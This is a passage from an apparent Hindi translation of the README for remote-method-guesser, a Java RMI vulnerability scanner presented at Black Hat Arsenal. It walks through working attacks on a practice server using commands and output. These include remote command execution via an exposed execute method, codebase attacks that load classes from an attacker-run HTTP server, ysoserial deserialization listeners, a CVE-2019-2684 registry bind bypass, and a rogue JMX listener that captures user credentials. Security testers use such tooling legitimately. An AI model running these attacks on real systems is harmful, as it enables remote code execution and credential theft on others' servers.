
Java RMI भेद्यता स्कैनर
remote-method-guesser (rmg) एक Java RMI भेद्यता स्कैनर है और इसका उपयोग Java RMI एंडपॉइंट्स पर सामान्य सुरक्षा कमजोरियों की पहचान और सत्यापन करने के लिए किया जा सकता है।

remote-method-guesser को Black Hat USA2021 में Arsenal सत्रों के भीतर प्रस्तुत किया गया था। सत्र की रिकॉर्डिंग और संबंधित स्लाइड्स सार्वजनिक रूप से उपलब्ध हैं और निम्नलिखित लिंक का उपयोग करके पाई जा सकती हैं:
remote-method-guesser रिपॉजिटरी में तीन उदाहरण सर्वर शामिल हैं जिनका उपयोग Java RMI गणना और हमलों का अभ्यास करने के लिए किया जा सकता है।
rmg-example-server नियमित RMI सेवाओं को उजागर करता है जिन्हें remote-method-guesser का उपयोग करके गणना और शोषण किया जा सकता है।
rmg-ssrf-server एक HTTP सेवा को उजागर करता है जो SSRF हमलों के लिए असुरक्षित है और RMI सेवाएँ चलाता है जो केवल localhost पर सुनती हैं। इसका उपयोग remote-method-guesser के --ssrf और --ssrf-response विकल्पों के साथ अभ्यास करने के लिए किया जा सकता है।
spring-remoting-server Spring Remoting के माध्यम से बनाए गए RMI इंटरफेस को उजागर करता है। ये नियमित Java RMI से थोड़े अलग हैं और remote-method-guesser के संबद्ध Spring Remoting एकीकरण का परीक्षण करने के लिए उपयोग किए जा सकते हैं।
सभी सर्वर GitHub Container Registry के भीतर कंटेनर के रूप में उपलब्ध हैं:
rmg एक maven प्रोजेक्ट है और स्थापना सीधी होनी चाहिए। maven स्थापित होने पर, निष्पादन योग्य .jar फ़ाइल बनाने के लिए बस निम्नलिखित कमांड निष्पादित करें:```console
$ git clone https://github.com/qtc-de/remote-method-guesser
$ cd remote-method-guesser
$ mvn package
आप [प्रत्येक रिलीज़](https://github.com/qtc-de/remote-method-guesser/releases) के लिए बनाए गए पूर्व-निर्मित पैकेजों का भी उपयोग कर सकते हैं।
डेवलपमेंट ब्रांच के लिए पूर्व-निर्मित पैकेज स्वचालित रूप से बनाए जाते हैं और इन्हें *GitHub* [एक्शन पेज](https://github.com/qtc-de/remote-method-guesser/actions) पर पाया जा सकता है।
*rmg* में *ysoserial* को निर्भरता के रूप में शामिल नहीं किया गया है। *ysoserial* समर्थन सक्षम करने के लिए, आपको या तो अपनी ``ysoserial.jar`` फ़ाइल का पथ अतिरिक्त तर्क के रूप में निर्दिष्ट करना होगा (उदा. ``--yso /opt/ysoserial.jar``) या प्रोजेक्ट बनाने से पहले [rmg कॉन्फ़िगरेशन फ़ाइल](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) में डिफ़ॉल्ट पथ बदलना होगा।
*rmg* *bash* के लिए ऑटो-पूर्णता का भी समर्थन करता है। ऑटो-पूर्णता का लाभ उठाने के लिए, आपके पास [completion-helpers](https://github.com/qtc-de/completion-helpers) प्रोजेक्ट स्थापित होना चाहिए। यदि सही ढंग से सेटअप किया गया है, तो [पूर्णता स्क्रिप्ट](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/resources/bash_completion.d/rmg) को अपने ``~/.bash_completion.d`` फ़ोल्डर में कॉपी करने से ऑटो-पूर्णता सक्षम हो जाती है।```console
$ cp resources/bash_completion.d/rmg ~/bash_completion.d/
निम्नलिखित में, प्रत्येक उपलब्ध संचालन के लिए छोटे उदाहरण प्रस्तुत किए गए हैं। अधिक विस्तृत विवरण के लिए, आपको दस्तावेज़ीकरण फ़ोल्डर पढ़ना चाहिए जिसमें rmg और सामान्य रूप से Java RMI पर अधिक विस्तृत जानकारी है। सभी प्रस्तुत उदाहरण rmg-example-server और rmg-ssrf-server पर आधारित हैं। ये दोनों इस रिपॉजिटरी में docker फ़ोल्डर में शामिल हैं और Java RMI एनुमरेशन का अभ्यास करने के लिए उपयोग किए जा सकते हैं। आप या तो संबंधित कंटेनर स्वयं बना सकते हैं या उन्हें सीधे GitHub Container Registry से लोड कर सकते हैं।```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...
rmg v4.0.0 - a Java RMI Vulnerability Scanner
positional arguments:
action
bind Binds an object to the registry thats points to listener
call Regulary calls a method with the specified arguments
codebase Perform remote class loading attacks
enum Enumerate common vulnerabilities on Java RMI endpoints
guess Guess methods on bound names
known Display details of known remote objects
listen Open ysoserials JRMP listener
objid Print information contained within an ObjID
rebind Rebinds boundname as object that points to listener
roguejmx Creates a rogue JMX listener (collect credentials)
scan Perform an RMI service scan on common RMI ports
serial Perform deserialization attacks against default RMI components
unbind Removes the specified bound name from the registry
named arguments: -h, --help show this help message and exit
#### bind, rebind और unbind
``bind``, ``rebind`` या ``unbind`` कार्रवाई का उपयोग करके, *RMI रजिस्ट्री* में उपलब्ध *बाउंड नामों* को संशोधित करना संभव है। यह विशेष रूप से ``CVE-2019-2684`` को सत्यापित करने के लिए उपयोगी है, जो लोकलहोस्ट प्रतिबंधों को बायपास करता है और दूरस्थ उपयोगकर्ताओं को बाइंड ऑपरेशन करने में सक्षम बनाता है। ``bind`` या ``rebind`` कार्रवाई का उपयोग करते समय *remote-method-guesser* डिफ़ॉल्ट रूप से ``javax.management.remote.rmi.RMIServerImpl_Stub`` *RemoteObject* को बाइंड करता है, जो *jmx* सर्वर द्वारा उपयोग किया जाने वाला *RemoteObject* है। इसके अतिरिक्त, आपको संबंधित *TCP endpoint* का पता निर्दिष्ट करना होगा जहां *RemoteObject* पाया जा सकता है (वह पता जहां क्लाइंट को कनेक्ट होना चाहिए जब वे आपके बाउंड ऑब्जेक्ट का उपयोग करने का प्रयास करते हैं)।```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - my-object
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
remote-method-guesser के प्लगइन सिस्टम का उपयोग करके, RMI रजिस्ट्री में कस्टम ऑब्जेक्ट को बांधना भी संभव है। प्लगइन सिस्टम के बारे में अधिक जानने के लिए, कृपया दस्तावेज़ीकरण फ़ोल्डर देखें।
remote-method-guesser के call एक्शन का उपयोग करके, आप बिना कोई Java कोड लिखे रिमोट मेथड को इनवोक कर सकते हैं। मान लीजिए कि रिमोट सर्वर पर String execute(String cmd) मेथड मौजूद है। यह मेथड आशाजनक लगता है और आप इसे एक सामान्य Java RMI call का उपयोग करके इनवोक करना चाह सकते हैं। यह निम्नलिखित कमांड का उपयोग करके किया जा सकता है:```console
[qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -
Notice that calling remote methods does not create any output by default. To process outputs generated by the ``call`` action, you need
to use *remote-method-guesser* का [प्लगइन सिस्टम](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs/rmg/plugin-system.md) और एक ``ResponseHandler`` रजिस्टर करें या डिफ़ॉल्ट `GenericPrint` प्लगइन का उपयोग करें। `GenericPrint` डिफ़ॉल्ट रूप से *remote-method-guesser* में शामिल है और `--show-response` विकल्प का उपयोग करके सक्रिय किया जा सकता है।```console
[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)
call कार्रवाई के दौरान, प्रदान किए गए तर्कों का मूल्यांकन Java expression के रूप में निम्नलिखित टेम्पलेट में डालकर किया जाता है:
new Object[]{ arg1, arg2, arg3, ... }। इसलिए, आपको यह सुनिश्चित करना होगा कि आपके प्रदान किए गए तर्क उस पैटर्न में फिट हों। उदाहरण के लिए,
"id" को एक तर्क के रूप में उपयोग करने पर एक त्रुटि उत्पन्न होती है, क्योंकि तर्क को remote-method-guesser में id के रूप में पारित किया जाता है और परिणामी
अभिव्यक्ति new Object[]{ id } एक मान्य Java expression नहीं है। इसके बजाय, आपको '"id"' का उपयोग करना होगा क्योंकि इससे new Object[]{ "id" } प्राप्त होता है,
जो मान्य है।
इसके अलावा, आदिम प्रकारों को उनके संबंधित वस्तु प्रतिनिधित्व में निर्दिष्ट करने की आवश्यकता है (उदाहरण के लिए new Integer(5) 5 के बजाय)। अन्यथा वे
Java expression द्वारा बनाए गए Object[] ऐरे के भीतर उपयोग नहीं किए जा सकते। RMI call के दौरान, संबंधित तर्कों का उपयोग इच्छित रूप में किया जाता है
और वे आपकी निर्दिष्ट विधि हस्ताक्षर के अनुकूल होंगे। अधिक जटिल उपयोग के मामलों के लिए, आप remote-method-guessers प्लगइन सिस्टम का उपयोग करके एक कस्टम ArgumentProvider भी परिभाषित कर सकते हैं।
Java RMI एक सुविधा का समर्थन करता है जिसे codebases कहा जाता है, जहां क्लाइंट और सर्वर RMI calls के दौरान URLs निर्दिष्ट कर सकते हैं जिनका उपयोग अज्ञात कक्षाओं को गतिशील रूप से लोड करने के लिए किया जा सकता है। यदि कोई RMI server क्लाइंट द्वारा निर्दिष्ट codebase स्वीकार करता है, तो इससे remote code execution हो सकता है जब क्लाइंट RMI communication के दौरान एक दुर्भावनापूर्ण Java क्लास प्रदान करता है।
RMI server पर कोडबेस कॉन्फ़िगरेशन विभिन्न घटकों के लिए भिन्न हो सकता है: Activator, DGC, Registry और Application Level।
remote-method-guesser आपको --signature <method> (एप्लिकेशन स्तर), --component act (एक्टिवेटर), --component dgc (वितरित कचरा संग्रहकर्ता) या --component reg (RMI रजिस्ट्री) के साथ codebase कार्रवाई का उपयोग करके प्रत्येक घटक का व्यक्तिगत रूप से परीक्षण करने की अनुमति देता है।
Application Level:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -
*RMI Registry*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] Caught ClassCastException during codebase attack.
[+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -
वितरित कचरा संग्राहक:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -
*Activator*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] Caught IllegalArgumentException during codebase attack.
[+] Codebase attack was probably successful :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -
enum क्रिया निर्दिष्ट Java RMI एंडपॉइंट पर कई जाँचें करती है और संबंधित परिणाम प्रिंट करती है। enum क्रिया द्वारा उत्पन्न आउटपुट के बारे में अधिक विस्तृत स्पष्टीकरण के लिए, आप संबंधित दस्तावेज़ पृष्ठ पढ़ सकते हैं।```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.example/well-hidden-development-folder/
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
#### guess
``guess`` क्रिया का उपयोग करते समय, *remote-method-guesser* सर्वर को method hashes भेजकर मौजूदा remote methods की पहचान करने का प्रयास करता है। यह ऑपरेशन एक wordlist की आवश्यकता होती है जिसमें संबंधित method definitions हों। *remote-method-guesser* अपने साथ कुछ डिफ़ॉल्ट wordlists शिप करता है जो build phase के दौरान ``.jar`` फ़ाइल में शामिल होती हैं। आप [rmg configuration file](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) को संशोधित करके या ``--wordlist-file`` या ``--wordlist-folder`` विकल्पों का उपयोग करके wordlist स्थानों को ओवरराइट कर सकते हैं। जिन methods में zero arguments हैं, उन्हें guessing के दौरान छोड़ दिया जाता है, क्योंकि वे सर्वर साइड पर वास्तविक method calls का कारण बनते हैं। आप ``--zero-arg`` स्विच का उपयोग करके zero argument methods पर guessing सक्षम कर सकते हैं।```console
[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
जब enum कार्रवाई करते समय, remote-method-guesser RMI रजिस्ट्री पर उपलब्ध बाउंड नामों को या तो ज्ञात या अज्ञात के रूप में चिह्नित करता है। यह निर्णय उस वर्ग पर निर्भर करता है जो संबंधित बाउंड नाम द्वारा कार्यान्वित किया जाता है और क्या संबंधित वर्ग remote-method-guesser रिपॉजिटरी में निहित known endpoint list के अंतर्गत आता है। जब किसी बाउंड नाम को ज्ञात के रूप में चिह्नित किया जाता है, तो आप संबंधित वर्ग पर known कार्रवाई का उपयोग कर सकते हैं। ऐसा करने से संबंधित वर्ग पर उपलब्ध रिमोट विधियों, एक सामान्य विवरण और संभावित कमजोरियों जैसी जानकारी प्राप्त होती है:```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter
ज्ञात कक्षाओं, उनके विवरण और ज्ञात कमजोरियों की सूची पूर्ण होने से बहुत दूर है। उम्मीद है कि यह भविष्य में बढ़ेगी और अन्य उपयोगकर्ताओं के इनपुट से संचालित होती है। यदि आप किसी *RMI endpoint* पर आते हैं जो वर्तमान में गायब एक वर्ग को लागू करता है और आपके पास पर्याप्त जानकारी (विवरण और उपलब्ध विधियाँ) है, तो बेझिझक कोई समस्या या pull request बनाएँ।
#### listen
कभी-कभी एक दुर्भावनापूर्ण *JRMPListener* प्रदान करने की आवश्यकता होती है, जो आने वाले *RMI* कनेक्शनों को deserialization payloads प्रदान करता है। इस तरह के लिसनर को खरोंच से लिखना आवश्यक नहीं है, क्योंकि यह पहले से ही [ysoserial project](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java) द्वारा प्रदान किया गया है। *remote-method-guesser* *ysoserial* कार्यान्वयन के चारों ओर एक रैपर प्रदान करता है, जो आपको सामान्य *rmg* सिंटैक्स का उपयोग करके एक *JRMPListener* बनाने की अनुमति देता है:```console
[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...
objid क्रिया का उपयोग किसी ObjID के बारे में अधिक विस्तृत जानकारी प्रदर्शित करने के लिए किया जा सकता है। प्रत्येक RemoteObject को RMI runtime द्वारा निर्यात किए जाने पर एक ObjID निर्दिष्ट किया जाता है। किसी RemoteObject के साथ संवाद करने के लिए ObjID मान का ज्ञान आवश्यक है, यही कारण है कि आमतौर पर आपको RMI registry की आवश्यकता होती है। RMI registry में प्रत्येक bound name और remote-method-guesser के लिए ObjID होता है, जो enum क्रिया के दौरान उन्हें प्रदर्शित करता है।```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]
``ObjID`` मान विभिन्न घटकों से बने होते हैं। ये घटक संबंधित ``ObjID`` पर ``objid`` क्रिया का उपयोग करने पर मानव-पठनीय रूप में प्रदर्शित होते हैं:```console
[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 1096154566158180646
[+] UID:
[+] Unique: -734386537
[+] Time: 1638254048332 (Nov 30,2021 07:34)
[+] Count: -32759
प्रदर्शित अधिकांश जानकारी बहुत उपयोगी नहीं है, लेकिन Time मान दिलचस्प हो सकता है। यह मान उस समय को दर्शाता है जब RemoteObject बनाया गया था। इसलिए, यह आपको किसी RMI सर्वर के अप-टाइम जैसी चीज़ों का निर्धारण करने में सक्षम बनाता है।
कभी-कभी आप ऐसी सेवाओं की पहचान करते हैं जो आमतौर पर Java RMI घटकों के साथ शिप होती हैं (JBoss, Solr, Tomcat, ...),
लेकिन आप संबंधित होस्ट पर पूर्ण पोर्टस्कैन नहीं करना चाहते। ऐसी स्थितियों में, scan क्रिया
उपयोगी हो सकती है। यह केवल सामान्य RMI पोर्ट के लिए एक त्वरित पोर्ट स्कैन करता है और उन पर RMI सेवाओं की पहचान करने का प्रयास करता है:```console
[qtc@devbox ~]$ rmg scan 172.17.0.2
[+] Scanning 112 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [119 / 119] [#############################] 100%
[+]
[+] Portscan finished.
डिफ़ॉल्ट रूप से, स्कैन क्रियाएं सामान्य *RMI पोर्ट* की एक पूर्व-कॉन्फ़िगर की गई सूची का उपयोग करती हैं। स्कैन करने के लिए पोर्टों की सूची को अनुकूलित करने के लिए,
आप ``--ports`` विकल्प का उपयोग कर सकते हैं। यह विकल्प पोर्ट विनिर्देशों के लिए सादे संख्याओं और संख्या श्रेणियों को स्वीकार करता है।
डैश वर्ण (``-``) का उपयोग डिफ़ॉल्ट पोर्ट सूची को संदर्भित करने के लिए किया जा सकता है।```console
[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.
ध्यान दें कि scan क्रिया एक सरल और अविश्वसनीय तरीके से लागू की गई है। यदि संभव हो, तो आपको हमेशा nmap जैसे उपकरणों का उपयोग करके एक समर्पित पोर्ट स्कैन करना चाहिए। हालांकि, scan क्रिया आपको RMI पोर्ट्स खोजने में एक त्वरित संकेत दे सकती है।
roguejmx क्रिया आपके सिस्टम पर एक JMX लिसनर बनाती है जो आने वाले कनेक्शनों के क्रेडेंशियल्स कैप्चर करता है।
लिसनर बनाने के बाद, remote-method-guesser ObjID मान प्रिंट करता है जो इसके साथ इंटरैक्ट करने के लिए आवश्यक है।```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
``bind`` और ``rebind`` ऑपरेशन का उपयोग करके आप इस listener को *RMI registry* में inject कर सकते हैं और अपने सर्वर से जुड़ने वाले अन्य उपयोगकर्ताओं की प्रतीक्षा कर सकते हैं:```console
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials
आने वाले कनेक्शन लिसनर द्वारा लॉग किए जाते हैं:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!
*remote-method-guesser* डिफ़ॉल्ट रूप से *bind* संचालन और रॉग *JMX* सर्वर के लिए *ObjID* मान ``[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]`` का उपयोग करता है। इसलिए ऊपर दर्शाए अनुसार मैन्युअल रूप से *ObjID* निर्दिष्ट करना आवश्यक नहीं है। आप डिफ़ॉल्ट *ObjID* मान को कमांड लाइन तर्कों के माध्यम से या *remote-method-guesser* के कॉन्फ़िगरेशन फ़ाइल के अंदर बदल सकते हैं।
रॉग *JMX* सर्वर डिफ़ॉल्ट रूप से प्रत्येक आने वाले कनेक्शन के लिए एक एक्सेस अपवाद (अमान्य क्रेडेंशियल्स) लौटाता है, लेकिन आप आने वाले कनेक्शनों को किसी भिन्न *JMX* इंस्टेंस पर अग्रेषित भी कर सकते हैं। इससे बिना किसी सेवा को बाधित किए आने वाले क्लाइंट कनेक्शनों से क्रेडेंशियल्स प्राप्त करना संभव हो जाता है। कनेक्शनों को अग्रेषित करने के लिए, आपको संबंधित लक्ष्य को एक अतिरिक्त तर्क के रूप में निर्दिष्ट करना होगा। लक्ष्यों को दो अलग-अलग तरीकों से निर्दिष्ट किया जा सकता है:
1. किसी RMI रजिस्ट्री का IP पता और पोर्ट, संबंधित *JMX इंस्टेंस* के बाउंड नाम के साथ: ```console
